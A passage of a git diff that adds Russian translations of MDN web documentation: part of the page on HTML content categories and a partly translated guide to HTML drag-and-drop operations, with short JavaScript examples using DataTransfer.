{{HTMLElement("noscript")}}, {{HTMLElement("object")}}, {{HTMLElement("ol")}}, {{HTMLElement("output")}}, {{HTMLElement("p")}}, {{HTMLElement("pre")}}, {{HTMLElement("progress")}}, {{HTMLElement("q")}}, {{HTMLElement("ruby")}}, {{HTMLElement("s")}}, {{HTMLElement("samp")}}, {{HTMLElement("script")}}, {{HTMLElement("section")}}, {{HTMLElement("select")}}, {{HTMLElement("small")}}, {{HTMLElement("span")}}, {{HTMLElement("strong")}}, {{HTMLElement("sub")}}, {{HTMLElement("sup")}}, {{SVGElement("svg")}}, {{HTMLElement("table")}}, {{HTMLElement("template")}}, {{HTMLElement("textarea")}}, {{HTMLElement("time")}}, {{HTMLElement("ul")}}, {{HTMLElement("var")}}, {{HTMLElement("video")}}, {{HTMLElement("wbr")}} и Текст.</p>
+
+<p>Несколько других элементов, которые тоже принадлежат к этому типу, но требуют определённых условий:</p>
+
+<ul>
+ <li>{{HTMLElement("area")}}, только внутри элемента {{HTMLElement("map")}}</li>
+ <li>{{HTMLElement("link")}}, при наличии атрибута <code><a href="/ru/docs/HTML/Global_attributes#attr-itemprop">itemprop</a></code></li>
+ <li>{{HTMLElement("meta")}}, при наличии атрибута <code><a href="/ru/docs/HTML/Global_attributes#attr-itemprop">itemprop</a></code></li>
+ <li>{{HTMLElement("style")}}, при наличии атрибута {{htmlattrxref("scoped","style")}}</li>
+</ul>
+
+<h3 id="Секционный_контент">Секционный контент</h3>
+
+<p>Подобные элементы создают <a href="/ru/docs/Sections_and_Outlines_of_an_HTML5_document">секции (блоки) в текущей структуре документа</a>, определяющие область действия <a href="/ru/docs/Web/Guide/HTML/Content_categories#Заголовочный_контент">заголовочного контента</a> и элементов {{HTMLElement("header")}} и {{HTMLElement("footer")}}</p>
+
+<p>К этой категории принадлежат элементы {{HTMLElement("article")}}, {{HTMLElement("aside")}}, {{HTMLElement("nav")}} и {{HTMLElement("section")}}. </p>
+
+<div class="note">
+<p>Не стоит путать данную модель контента с категорией <a href="/ru/docs/Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document#Корни_задания_разделов">корня задания разделов</a>, которая изолирует свое содержимое от обычной структуры.</p>
+</div>
+
+<h3 id="Заголовочный_контент_2"><a name="Заголовочный_контент">Заголовочный контент</a></h3>
+
+<p>Заголовочный контент задает заголовок секции, явно отмеченной структурным элементом или неявно – самим заголовочным.</p>
+
+<p>Данной категории принадлежат такие элементы, как {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}} и {{HTMLElement("hgroup")}}.</p>
+
+<div class="note">
+<p><em>Э</em>лемент {{HTMLElement("header")}} сам по себе не является заголовочным, хотя с большой вероятностью содержит контент такого типа.</p>
+</div>
+
+<div class="note">
+<p>Стоит заметить, что элемент {{HTMLElement("hgroup")}} был удален из спецификации W3C HTML до приведения HTML 5 к окончательному варианту, но до сих пор является частью спецификации WHATWG и по крайней мере частично поддерживается большинством браузеров.</p>
+</div>
+
+<h3 id="Phrasing_content" name="Phrasing_content">Фразовый контент</h3>
+
+<p>Фразовый контент определяет текст и его формат. Серии фразового контента образуют параграфы.</p>
+
+<p>К данной категории принадлежат следующие элементы:  {{HTMLElement("abbr")}}, {{HTMLElement("audio")}}, {{HTMLElement("b")}}, {{HTMLElement("bdo")}}, {{HTMLElement("br")}}, {{HTMLElement("button")}}, {{HTMLElement("canvas")}}, {{HTMLElement("cite")}}, {{HTMLElement("code")}}, {{ Obsolete_inline() }}{{HTMLElement("command")}}, {{HTMLElement("data")}}, {{HTMLElement("datalist")}}, {{HTMLElement("dfn")}}, {{HTMLElement("em")}}, {{HTMLElement("embed")}}, {{HTMLElement("i")}}, {{HTMLElement("iframe")}}, {{HTMLElement("img")}}, {{HTMLElement("input")}}, {{HTMLElement("kbd")}}, {{deprecated_inline()}}{{HTMLElement("keygen")}}, {{HTMLElement("label")}}, {{HTMLElement("mark")}}, {{MathMLElement("math")}}, {{HTMLElement("meter")}}, {{HTMLElement("noscript")}}, {{HTMLElement("object")}}, {{HTMLElement("output")}}, {{HTMLElement("progress")}}, {{HTMLElement("q")}}, {{HTMLElement("ruby")}}, {{HTMLElement("samp")}}, {{HTMLElement("script")}}, {{HTMLElement("select")}}, {{HTMLElement("small")}}, {{HTMLElement("span")}}, {{HTMLElement("strong")}}, {{HTMLElement("sub")}}, {{HTMLElement("sup")}}, {{SVGElement("svg")}}, {{HTMLElement("textarea")}}, {{HTMLElement("time")}}, {{HTMLElement("var")}}, {{HTMLElement("video")}}, {{HTMLElement("wbr")}} и обычный текст (не только состоящий из символов пробелов).</p>
+
+<p>Еще несколько элементов входят в данную категорию при соблюдении особых условий:</p>
+
+<ul>
+ <li>{{HTMLElement("a")}}, если содержит в себе только фразовый контент</li>
+ <li>{{HTMLElement("area")}}, только внутри элемента {{HTMLElement("map")}}</li>
+ <li>{{HTMLElement("del")}}, если содержит в себе только фразовый контент</li>
+ <li>{{HTMLElement("ins")}}, если содержит в себе только фразовый контент</li>
+ <li>{{HTMLElement("link")}}, при наличии атрибута <code><a href="/ru/docs/HTML/Global_attributes#attr-itemprop">itemprop</a></code></li>
+ <li>{{HTMLElement("map")}}, если содержит в себе только фразовый контент</li>
+ <li>{{HTMLElement("meta")}}, при наличии атрибута <code><a href="/ru/docs/HTML/Global_attributes#attr-itemprop">itemprop</a></code></li>
+</ul>
+
+<h3 id="Встроенный_контент">Встроенный контент</h3>
+
+<p>Встроенный контент импортирует в документ другой ресурс или вставляет содержимое на другом языке разметки или принадлежащее другому пространству имен. Элементами данной категории являются: {{HTMLElement("audio")}}, {{HTMLElement("canvas")}}, {{HTMLElement("embed")}}, {{HTMLElement("iframe")}}, {{HTMLElement("img")}}, {{MathMLElement("math")}}, {{HTMLElement("object")}}, {{SVGElement("svg")}}, {{HTMLElement("video")}}.</p>
+
+<h3 id="Интерактивный_контент"><a name="interactive_content">Интерактивный контент</a></h3>
+
+<p>К интерактивному контенту относятся элементы, который специально разработаны для взаимодействия с пользователем. В данную категорию входят {{HTMLElement("a")}}, {{HTMLElement("button")}}, {{HTMLElement("details")}}, {{HTMLElement("embed")}}, {{HTMLElement("iframe")}}, {{deprecated_inline()}}{{HTMLElement("keygen")}}, {{HTMLElement("label")}}, {{HTMLElement("select")}} и {{HTMLElement("textarea")}}.<br>
+ Некоторые элементы считаются интерактивным контентом только при соблюдении определенных условий:</p>
+
+<ul>
+ <li>{{HTMLElement("audio")}}, если указан атрибут {{htmlattrxref("controls", "audio")}}</li>
+ <li>{{HTMLElement("img")}}, если указан атрибут {{htmlattrxref("usemap", "img")}}</li>
+ <li>{{HTMLElement("input")}}, если атрибут {{htmlattrxref("type", "input")}} не скрыт</li>
+ <li>{{HTMLElement("menu")}}, если атрибут {{htmlattrxref("type", "menu")}} имеет значение <code>toolbar</code></li>
+ <li>{{HTMLElement("object")}}, если указан атрибут {{htmlattrxref("usemap", "object")}}</li>
+ <li>{{HTMLElement("video")}}, если указан атрибут {{htmlattrxref("controls", "video")}}</li>
+</ul>
+
+<h3 id="Явный_контент">Явный контент</h3>
+
+<p>Контент считается явным, когда он не скрыт и не является пустым, это контент, который отображен и предметен. У элементов потокового или фразового контента должен быть хотя бы один явный узел.</p>
+
+<h3 id="Контент_форм">Контент форм</h3>
+
+<p>Контент форм включает в себя элементы, у которых есть владелец формы, обозначенный атрибутом <strong>form</strong>. Владелецем формы является либо элемент {{HTMLElement("form")}}, либо элемент, id которого указан в атрибуте <strong>form</strong>.</p>
+
+<ul>
+ <li>{{HTMLElement("button")}}</li>
+ <li>{{HTMLElement("fieldset")}}</li>
+ <li>{{HTMLElement("input")}}</li>
+ <li>{{deprecated_inline()}}{{HTMLElement("keygen")}}</li>
+ <li>{{HTMLElement("label")}}</li>
+ <li>{{HTMLElement("meter")}}</li>
+ <li>{{HTMLElement("object")}}</li>
+ <li>{{HTMLElement("output")}}</li>
+ <li>{{HTMLElement("progress")}}</li>
+ <li>{{HTMLElement("select")}}</li>
+ <li>{{HTMLElement("textarea")}}</li>
+</ul>
+
+<p>Данная категория включает несколько подкатегорий:</p>
+
+<dl>
+ <dt><a name="Form_listed">listed</a></dt>
+ <dd>Элементы, перечисленные в IDL коллекциях <a href="/ru/docs/DOM/form.elements" title="DOM/form.elements">form.elements</a> и fieldset.elements. Включают {{HTMLElement("button")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("input")}}, {{deprecated_inline()}}{{HTMLElement("keygen")}}, {{HTMLElement("object")}}, {{HTMLElement("output")}}, {{HTMLElement("select")}}, и {{HTMLElement("textarea")}}.</dd>
+ <dt><a name="Form_labelable">labelable</a></dt>
+ <dd>Элементы, которые могут ассоциироваться с элементами {{HTMLElement("label")}}. Включают {{HTMLElement("button")}}, {{HTMLElement("input")}}, {{deprecated_inline()}}{{HTMLElement("keygen")}}, {{HTMLElement("meter")}}, {{HTMLElement("output")}}, {{HTMLElement("progress")}}, {{HTMLElement("select")}} и {{HTMLElement("textarea")}}.</dd>
+ <dt><a name="Form_submittable">submittable</a></dt>
+ <dd>Элементы, которые могут использоваться для построения набора данных формы при отправке на сервер. Включают {{HTMLElement("button")}}, {{HTMLElement("input")}}, {{deprecated_inline()}}{{HTMLElement("keygen")}}, {{HTMLElement("object")}}, {{HTMLElement("select")}} и {{HTMLElement("textarea")}}.</dd>
+ <dt><a name="Form_resettable">resettable</a></dt>
+ <dd>Элементы, которые могут быть затронуты при сбросе данных формы. Включают {{HTMLElement("input")}}, {{deprecated_inline()}}{{HTMLElement("keygen")}}, {{HTMLElement("output")}},{{HTMLElement("select")}} и {{HTMLElement("textarea")}}.</dd>
+</dl>
+
+<h2 id="Вторичные_категории">Вторичные категории</h2>
+
+<p>Существуют некоторые вторичные классификации элементов, о которых тоже полезно знать.</p>
+
+<h3 id="Элементы_поддержки_скриптов">Элементы поддержки скриптов</h3>
+
+<p>Элементы поддержки скриптов – это элементы, которые напрямую не влияют на отрисовку документа. Вместо этого они служат для внедрения скриптов, путем либо содержания кода скрипта напрямую, либо указания данных, которые будут использованы скриптами.</p>
+
+<p>Элементами поддержки скриптов являются:</p>
+
+<ul>
+ <li>{{HTMLElement("script")}}</li>
+ <li>{{HTMLElement("template")}}</li>
+</ul>
+
+<h2 id="Прозрачная_модель_контента">Прозрачная модель контента</h2>
+
+<p>Если элемент обладает прозрачной моделью контента, его содержимое должно быть структурировано таким образом, чтобы оно оставалось валидным HTML5, даже при удалении прозрачного элемента или заменой его на дочерние элементы.</p>
+
+<p>Например, элементы {{HTMLElement("del")}} и {{HTMLELement("ins")}} являются прозрачными:</p>
+
+<pre>&lt;p&gt;Мы почитаем следующие истины &lt;del&gt;&lt;em&gt;священными &amp;amp; неоспоримыми&lt;/em&gt;&lt;/del&gt; &lt;ins&gt;само собой разумеющимися&lt;/ins&gt;.&lt;/p&gt;
+</pre>
+
+<p>Если удалить эти элементы, данный фрагмент все равно будет представлять собой валидный HTML.</p>
+
+<pre>&lt;p&gt;Мы почитаем следующие истины &lt;em&gt;священными &amp;amp; неоспоримыми&lt;/em&gt; само собой разумеющимися.&lt;/p&gt;
+</pre>
+
+<h2 id="Прочие_модели_контента">Прочие модели контента</h2>
+
+<p>Корень задания разделов.</p>
diff --git a/files/ru/web/guide/html/drag_and_drop/drag_operations/index.html b/files/ru/web/guide/html/drag_and_drop/drag_operations/index.html
new file mode 100644
index 0000000000..2dcdb6babb
--- /dev/null
+++ b/files/ru/web/guide/html/drag_and_drop/drag_operations/index.html
@@ -0,0 +1,314 @@
+---
+title: Drag Operations
+slug: Web/Guide/HTML/Drag_and_drop/Drag_operations
+translation_of: Web/API/HTML_Drag_and_Drop_API/Drag_operations
+---
+<p>{{DefaultAPISidebar("HTML Drag and Drop API")}}</p>
+
+<p>Ниже описаны шаги, которые происходят при drag and drop операции.</p>
+
+<p class="note">Drag операции описываются в документе, используя {{domxref("DataTransfer")}} интерфейс. Этот документ не использует не{{domxref("DataTransferItem")}} интерфейс, не{{domxref("DataTransferItemList")}} интерфейс.</p>
+
+<h2 id="draggableattribute" name="draggableattribute"><code>draggable</code> атрибуты</h2>
+
+<p>На веб-странице, в некоторых случаях используется поведение drag (перетаскивания) по умолчанию. Включая выделенный текст, изображения и ссылки. Когда изображение иои ссылка переносятся, URL изображения или ссылки устанавливается в качестве данных drag и перетаскивание начинается. Для других элементов, они должны быть частью выделения для выполнения перетаскивания по умолчанию. Чтобы увидеть это в действии, выделите область веб-страницы, а затем нажмите и удерживайте кнопку мыши и перетащите выделение. Появится специфичный для ОС рендеринг выделенного фрагмента и будет следовать за указателем мыши при перетаскивании. Однако это поведение является только drag поведением по умолчанию, если нет слушателей, определяющих данные для перетаскивания.</p>
+
+<p>В HTML, кроме поведения по умолчанию изображений, ссылок и выделенных областей, ноикакие другие элементы по умолчанию не переносятся.</p>
+
+<p>Для перетаскивания других HTML-элементов, должны быть выполнены три пункта :</p>
+
+<ol>
+ <li>Установить <code>{{htmlattrxref("draggable")}}="</code><code>true"</code> на элемент, который вы хотите сделать перетаскиваемым.</li>
+ <li>Добавить слушатель события <code>{{event("dragstart")}}</code>.</li>
+ <li><a href="/en-US/docs/Web/API/DataTransfer/setData">Установить данные перетаскивания</a> в слушатель выше.</li>
+</ol>
+
+<p>Вот пример, который позволяет перетаскивать часть содержимого.</p>
+
+<pre class="brush: html">&lt;p draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'This text may be dragged')"&gt;
+  This text &lt;strong&gt;may&lt;/strong&gt; be dragged.
+&lt;/p&gt;
+</pre>
+
+<p>Атрибут <code>{{htmlattrxref("draggable")}}</code> установлен в  <code>"true"</code>, т.о. этот элемент становится перетаскиваемым. Если этот атрибут был опущен или установлен в <code>"false"</code>, то элемент не может быть перенесен, и вместо этого будет выбран текст.</p>
+
+<p>Атрибут <code>{{htmlattrxref("draggable")}}</code> может быть использован для любого элемента, включаяизображения и ссылки. Однако, для последних двух, значение по умолчанию - <code>true</code>, т.о. вы можете только использвать атрибут  <code>{{htmlattrxref("draggable")}}</code> со значением <code>false</code> для отключение перетаскивания этих элементов.</p>
+
+<div class="blockIndicator note">
+<p><strong>Примечание:</strong> Когда элемент становится перетаскиваемыми, tтекст или другие элементы в нем больше не могут быть выбраны обычным способом, щелкая и перетаскивая мышью. Вместо этого пользователь должен удерживать клавишу <kbd>Alt</kbd>  чтобы выбрать текст с помощью мыши или клавиатуры.</p>
+</div>
+
+<h2 id="dragstart" name="dragstart">Начало операции перетаскивания</h2>
+
+<p>В примере, слушатель добавлен для события {{event("dragstart")}} с использованием атрибута<code>{{domxref("GlobalEventHandlers.ondragstart","ondragstart")}}</code>.</p>
+
+<pre class="brush: html">&lt;p draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'This text may be dragged')"&gt;
+  This text &lt;strong&gt;may&lt;/strong&gt; be dragged.
+&lt;/p&gt;
+</pre>
+
+<p>Когда пользователь начинает перетаскивание, запускается событиеdrag, the {{event("dragstart")}}.</p>
+
+<p>В этом примере слушатель {{event("dragstart")}} добавлен к самому перемещаемом элементу. Однако, вы можете слушать более высокого предка, так как событие перетаскивание высплывает вверх как и большинство событий.</p>
+
+<p>Внутри события {{event("dragstart")}}, вы можете указать <strong>drag данные</strong>, <strong>изображжение отклика</strong>, <strong>drag-эффекты</strong>, все это описано ниже. Однако, обязательны только <strong>drag данные</strong>. (Изображение и drag-эффекты по умолчанию, подходят в большинстве ситуаций)</p>
+
+<h2 id="dragdata" name="dragdata">Drag-данные</h2>
+
+<p>Все {{domxref("DragEvent","drag events")}} имеют свойство, называемое{{domxref("DragEvent.dataTransfer","dataTransfer")}}, которое содержит drag-данные (<code>dataTransfer</code> это {{domxref("DataTransfer")}} object).</p>
+
+<p>Когда происходит перетаскивание, данные должны быть связаны с перетаскиванием, которое определяет, что перетаскивается. Например, при перетаскивании выделенного текста в текстовое поле данные, связанные с элементом данных перетаскивания, являются самим текстом. Аналогично, при перетаскивании ссылки на веб-странице элемент данных перетаскивания является URL-адресом ссылки.</p>
+
+<p>{{domxref("DataTransfer","drag data")}} содержит два параметра, <strong>тип</strong> (или формат) данных, и <strong>значение </strong>данных. Формат это строковый тип (такой как <code><a href="/en-US/docs/DragDrop/Recommended_Drag_Types#text" title="text/plain">text/plain</a></code> текстовых данных), значение - строка текста. Когда начинается перетаскивание, вы добавляете данные, предоставляя тип и данные. Во время перетаскивания в слушателе события для событий <code>{{event("dragenter")}}</code> и <code>{{event("dragover")}}</code> , вы используете типы данных перетаскиваемых данных, чтобы проверить, разрешено ли удаление. Например, цель drop, которая принимает ссылки, будет проверять тип <code><a href="/en-US/docs/DragDrop/Recommended_Drag_Types#link" title="text/uri-list">text/uri-list</a></code>. В течение события drop, слушатель будет получать данные тащат и вставить его на место.</p>
+
+<p>Свойство {{domxref("DataTransfer","drag data's")}} {{domxref("DataTransfer.types","types")}} возвращает список MIME-типов {{domxref("DOMString")}}, таких как <code><a href="/en-US/docs/DragDrop/Recommended_Drag_Types#text" title="text/plain">text/plain</a></code> или <code><a href="/en-US/docs/DragDrop/Recommended_Drag_Types#image" title="image/jpeg">image/jpeg</a></code>. Вы также можете создавать свои собственные типы. Большинство основные используемых типов описаны в  <a href="/en-US/docs/DragDrop/Recommended_Drag_Types" title="/en-US/docs/DragDrop/Recommended_Drag_Types">Recommended Drag Types</a>.</p>
+
+<p>Перетаскивание может включать элементы данных нескольких различных типов. Это позволяет предоставлять данные в более специфических типах, часто пользовательских, но по предоставляет резервные данные для drop, которые не поддерживают более специфические типы. Как правило, наименее специфичным типом будут обычные текстовые данные, использующие тип <code><a href="/en-US/docs/DragDrop/Recommended_Drag_Types#text" title="text/plain">text/plain</a></code>. Эти данные будут простым текстовым представлением.</p>
+
+<p>Установка элементов drag-данных {{domxref("DragEvent.dataTransfer","dataTransfer")}}, используя метод {{domxref("DataTransfer.setData","setData()")}}. Требуется два аргумента: тип данных и значение данных. Например:</p>
+
+<pre class="brush: js">event.dataTransfer.setData("text/plain", "Text to drag");
+</pre>
+
+<p>Здесь, значение -  "Text to drag", формат -  <code><a href="/en-US/docs/DragDrop/Recommended_Drag_Types#text" title="text/plain">text/plain</a></code>.</p>
+
+<p>Вы можете предусмотреть данные в нескольких форматах. Сделаем это, вызовем метод  {{domxref("DataTransfer.setData","setData()")}} несколько раз с различными форматами. Вы должны вызывать его с форматами от большей специфичности к меньшей.</p>
+
+<pre class="brush: js">const dt = event.dataTransfer;
+dt.setData("application/x.bookmark", bookmarkString);
+dt.setData("text/uri-list", "https://www.mozilla.org");
+dt.setData("text/plain", "https://www.mozilla.org");
+</pre>
+
+<p>Добавлены данные трех различных форматов. Первый тип - <code>application/x.bookmark</code>, пользовательский тип.Другие приложения не поддерживают данный тип, но вы можете использовать пользовательский тип для перетаскивания между областями в одном приложениее или на одной странице.</p>
+
+<p>Предоставляя данные и в других типах, мы также можем поддерживать перетаскивание в другие приложения в менее специфичных формах. Тип <code>application/x.bookmark</code> может предоставлять данные с  более подробной информацией для использования в приложении, в то время как другие типы могут включать только один URL-адрес или текстовую версию.</p>
+
+<p>Обратите внимание, что и <code><a href="/en-US/docs/DragDrop/Recommended_Drag_Types#link" title="text/uri-list">text/uri-list</a></code> и <code><a href="/en-US/docs/DragDrop/Recommended_Drag_Types#text" title="text/plain">text/plain</a></code> cодержат одни и те же данные в этом примере.  Это часто бывает так, но это не обязательно.</p>
+
+<p>Если вы попытаетесь добавить данные дважды с тем же форматом, новые данные заменят старые данные, но в той же позиции в списке типов, что и старые данные.</p>
+
+<p>Вы можете очистить данные, используя метод {{domxref("DataTransfer.clearData","clearData()")}}, который принимает один аргумент: тип данных для удаления.</p>
+
+<pre class="brush: js">event.dataTransfer.clearData("text/uri-list");
+</pre>
+
+<p>Аргумент <code>type</code> в методе {{domxref("DataTransfer.clearData","clearData()")}} опционален. Если <code>type</code> не указан, данные, связанные со всеми типами, удаляются. Если перетаскивание не содержит элементов данных перетаскивания или все элементы были впоследствии очищены, то перетаскивание не произойдет.</p>
+
+<h2 id="dragfeedback" name="dragfeedback">Настройка изображения отклика drag</h2>
+
+<p>Когда происходит перетаскивание, полупрозрачное изображение генерируется из цели перетаскивания (событие "{{event("dragstart")}}" элемента срабатывает), и следует за указателем пользователя во время перетаскивания. Это изображение создается автоматически, поэтому вам не нужно создавать его самостоятельно. Однако вы можете использовать {{domxref("DataTransfer.setDragImage","setDragImage()")}} для задания пользовательского изображения отклика перетаскивания.</p>
+
+<pre class="brush: js">event.dataTransfer.setDragImage(image, xOffset, yOffset);
+</pre>
+
+<p>Необходимы три аргумента. Первый - это ссылка на изображение. Эта ссылка обычно относится к элементу <code>&lt;img&gt;</code>, но также может относиться к элементу <code>&lt;canvas&gt;</code> или любому другому элементу. Изображение отклика будет генерироваться из того, как изображение выглядит на экране, для изображений они будут нарисованы в их первоначальном размере. Второй и третий аргументы метода {{domxref("DataTransfer.setDragImage","setDragImage()")}} - это смещения, в которых изображение должно появляться относительно указателя мыши.</p>
+
+<p>Также можно использовать изображения и canvas, которых нет в документе. Этот метод полезен при рисовании пользовательских изображений перетаскивания с помощью элемента canvas, как показано в следующем примере:</p>
+
+<pre class="brush: js">function dragWithCustomImage(event) {
+  const canvas = document.createElement("canvas");
+  canvas.width = canvas.height = 50;
+
+  const ctx = canvas.getContext("2d");
+  ctx.lineWidth = 4;
+  ctx.moveTo(0, 0);
+  ctx.lineTo(50, 50);
+  ctx.moveTo(0, 50);
+  ctx.lineTo(50, 0);
+  ctx.stroke();
+
+  const dt = event.dataTransfer;
+  dt.setData('text/plain', 'Data to Drag');
+  dt.setDragImage(canvas, 25, 25);
+}
+</pre>
+
+<p>В этом примере мы делаем один canvas перетаскивания. Поскольку размер холста составляет 50×50 пикселей, мы используем смещение половины этого (25), чтобы изображение было центрировано на указателе мыши.</p>
+
+<h2 id="drageffects" name="drageffects">Drag эффекты</h2>
+
+<p>При перетаскивании можно выполнить несколько операций. Операция  <code>copy</code> используется для указания на то, что перетаскиваемые данные будут скопированы из текущего местоположения в место перетаскивания. Операция <code>move</code> используется для указания на то, что перетаскиваемые данные будут перемещены, а операция <code>link</code> используется для указания на то, что между исходным и удаляемым местоположениями будет создана некоторая форма связи или соединения.</p>
+
+<p>Вы можете указать, какая из трех операций разрешена для источника перетаскивания, установив свойство {{domxref("DataTransfer.effectAllowed","effectAllowed")}} в слушателе событий<code>{{event("dragstart")}}</code>.</p>
+
+<pre class="brush: js">event.dataTransfer.effectAllowed = "copy";
+</pre>
+
+<p>В этом примере разрешена только <strong>копия</strong>.</p>
+
+<p>Вы можете комбинировать значения различными способами:</p>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>никакая операция не разрешена</dd>
+ <dt><code>copy</code></dt>
+ <dd>только <code>copy</code></dd>
+ <dt><code>move</code></dt>
+ <dd>только <code>move</code></dd>
+ <dt><code>link</code></dt>
+ <dd>только <code>link</code></dd>
+ <dt><code>copyMove</code></dt>
+ <dd>только <code>copy</code> или <code>move</code></dd>
+ <dt><code>copyLink</code></dt>
+ <dd>только <code>copy</code> или <code>link</code></dd>
+ <dt><code>linkMove</code></dt>
+ <dd>только <code>link</code> или <code>move</code></dd>
+ <dt><code>all</code></dt>
+ <dd>только <code>copy</code>, <code>move</code>, или <code>link</code></dd>
+ <dt>uninitialized</dt>
+ <dd>Значение по умолчанию <code>all</code>.</dd>
+</dl>
+
+<p>Обратите внимание, что эти значения должны использоваться так, как указано выше. Например, установка свойства {{domxref("DataTransfer.effectAllowed","effectAllowed")}} на <code>copyMove</code> позволяет выполнять операцию копирования или перемещения, но не позволяет пользователю выполнять операцию связывания. Если вы не измените свойство {{domxref("DataTransfer.effectAllowed","effectAllowed")}},  то любая операция разрешена, как и со значением '<code>all</code>'. Поэтому вам не нужно настраивать это свойство, если вы не хотите исключить определенные типы.</p>
+
+<p>Во время операции перетаскивания, слушатель для событий <code>{{event("dragenter")}}</code> или <code>{{event("dragover")}}</code> может проверить свойство {{domxref("DataTransfer.effectAllowed","effectAllowed")}} , какие операции разрешены. Связанное свойство,  {{domxref("DataTransfer.dropEffect","dropEffect")}}, должно быть установлено в пределах одного из этих событий, чтобы указать, какая единственная операция должна быть выполнена. Допустимые значения для {{domxref("DataTransfer.dropEffect","dropEffect")}} - <code>none</code>, <code>copy</code>, <code>move</code>, или <code>link</code>. Комбинированные значения для этого свойства не используются.</p>
+
+<p>С событиями <code>{{event("dragenter")}}</code> и <code>{{event("dragover")}}</code>, свойство {{domxref("DataTransfer.dropEffect","dropEffect")}} инициализируется в соответствии с запросом пользователя. Пользователь может изменить желаемый эффект, нажав клавиши-модификаторы. Хотя точные используемые клавиши различаются в зависимости от платформы, обычно клавиши  <kbd>Shift</kbd> и <kbd>Control</kbd> используются для переключения между копированием, перемещением и связыванием. Указатель мыши изменится, чтобы указать, какая операция требуется. Например, для <code>copy</code> курсор может появиться со знаком плюс рядом с ним.</p>
+
+<p>Вы можете изменять свойство {{domxref("DataTransfer.dropEffect","dropEffect")}} во время событий <code>{{event("dragenter")}}</code> или <code>{{event("dragover")}}</code>, например, определенная drop-цель поддерживает только определенные операции. Вы можете изменить свойство {{domxref("DataTransfer.dropEffect","dropEffect")}}, чтобы переопределить действие пользователя, и обеспечить выполнение специфичной  операции перетаскивания при ее наступлении. Обратите внимание, что этот эффект должен быть указан в списке свойств {{domxref("DataTransfer.effectAllowed","effectAllowed")}}. В противном случае ему будет присвоено другое допустимое значение.</p>
+
+<pre class="brush: js">event.dataTransfer.dropEffect = "copy";
+</pre>
+
+<p>В этом примере выполняется эффект копирования.</p>
+
+<p>Вы можете использовать значение <code>none</code>, чтобы указать, что в этом месте не допускается удаление, хотя в этом случае лучше не отменять событие.</p>
+
+<p>В событиях <code>{{event("drop")}}</code> и <code>{{event("dragend")}}</code>, yвы можете проверить свойства {{domxref("DataTransfer.dropEffect","dropEffect")}} для определения того, какой эффект был в конечном итоге выбран.  Если выбран эффект "<code>move</code>",то исходные данные должны быть удалены из источника перетаскивания в событии<code>{{event("dragend")}}</code>.</p>
+
+<h2 id="droptargets" name="droptargets">Указание drop-целей</h2>
+
+<p>Слушатель для событий <code>{{event("dragenter")}}</code> и <code>{{event("dragover")}}</code> используются для указания допустимых drop-целей, то есть мест, где могут быть сброшены перетаскиваемые элементы. Большинство областей веб-страницы или приложения не являются допустимыми местами для сброса данных. Таким образом, обработка этих событий по умолчанию не допускает сброса перетаскиваемых данных.</p>
+
+<p>Если вы хотите разрешить сброс переносимых данных, вы должны предотвратить обработку по умолчанию, отменив оба события <code>dragenter</code> и <code>dragover</code>.  Это можно сделать, либо вернув <code>false</code> из определенных атрибутом слушателя событий, либо вызвав метод {{domxref("Event.preventDefault","preventDefault()")}} событие. Последнее может быть более осуществимо в функции, определенной в отдельном скрипте.</p>
+
+<pre class="brush: html">&lt;div ondragover="return false"&gt;
+&lt;div ondragover="event.preventDefault()"&gt;
+</pre>
+
+<p>Вызывая метод {{domxref("Event.preventDefault","preventDefault()")}} во время обоих событий <code>{{event("dragenter")}}</code> и <code>{{event("dragover")}}</code> укажите, что падение разрешено в этом месте. Однако обычно вы захотите вызвать метод  {{domxref("Event.preventDefault","preventDefault()")}} события только в определенных ситуациях (например, только при перетаскивании ссылки).</p>
+
+<p>Для этого вызовите функцию, которая проверяет условие и отменяет событие только при его выполнении. Если условие не выполнено, не отменяйте событие, и сброс перетаскиваемых данных не произойдет, если пользователь отпустит кнопку мыши.</p>
+
+<p>Наиболее распространенным является принятие или отклонение сброса в зависимости от типа данных перетаскивания при передаче данных — например, разрешение для изображений, ссылок или и того, и другого. Для этого вы можете проверить свойство {{domxref("DataTransfer.types","types")}} события {{domxref("DragEvent.dataTransfer","dataTransfer")}} (свойство). Свойство {{domxref("DataTransfer.types","types")}} возвращает массив из строк, добавленных при начале перетаскивания, в порядке от наиболее значимого к наименее значимому.</p>
+
+<pre class="brush: js">function doDragOver(event) {
+  const isLink = event.dataTransfer.types.includes("text/uri-list");
+  if (isLink) {
+    event.preventDefault();
+  }
+}</pre>
+
+<p>В этом примере мы используем метод <code>includes</code>  чтобы проверить, присутствует ли тип <code><a href="/en-US/docs/DragDrop/Recommended_Drag_Types#link" title="text/uri-list">text/uri-list</a></code> в списке типов. Если это так, мы отменим событие, так что сброс становится разрешен. Если перетаскиваемые данные не содержат ссылки, событие не будет отменено, и сброс не может произойти в этом месте.</p>
+
+<p>Вы также можете установить либо свойство {{domxref("DataTransfer.effectAllowed","effectAllowed")}}, либо свойство{{domxref("DataTransfer.dropEffect","dropEffect")}}, либо оба одновременно, если вы хотите указать более конкретные сведения о типе операции, которая будет выполнена. Естественно, изменение любого свойства не будет иметь никакого эффекта, если вы не отмените событие.</p>
+
+<h2 id="dropfeedback" name="dropfeedback">Drop Feedback</h2>
+
+<p>There are several ways in which you can indicate to the user that a drop is allowed at a certain location. The mouse pointer will update as necessary depending on the value of the {{domxref("DataTransfer.dropEffect","dropEffect")}} property.</p>
+
+<p>Although the exact appearance depends on the user's platform, typically a plus sign icon will appear for a '<code>copy</code>' for example, and a 'cannot drop here' icon will appear when a drop is not allowed. This mouse pointer feedback is sufficient in many cases.</p>
+
+<p>However, you can also update the user interface with an insertion point or highlight as needed. For simple highlighting, you can use the <code>:-moz-drag-over</code> CSS pseudoclass on a drop target.</p>
+
+<pre class="brush: css">.droparea:-moz-drag-over {
+  outline: 1px solid black;
+}
+</pre>
+
+<p>In this example, the element with the class <code>droparea</code> will receive a 1 pixel black outline while it is a valid drop target, that is, if the {{domxref("Event.preventDefault","preventDefault()")}} method was called during the <code>{{event("dragenter")}}</code> event.</p>
+
+<div class="blockIndicator note">
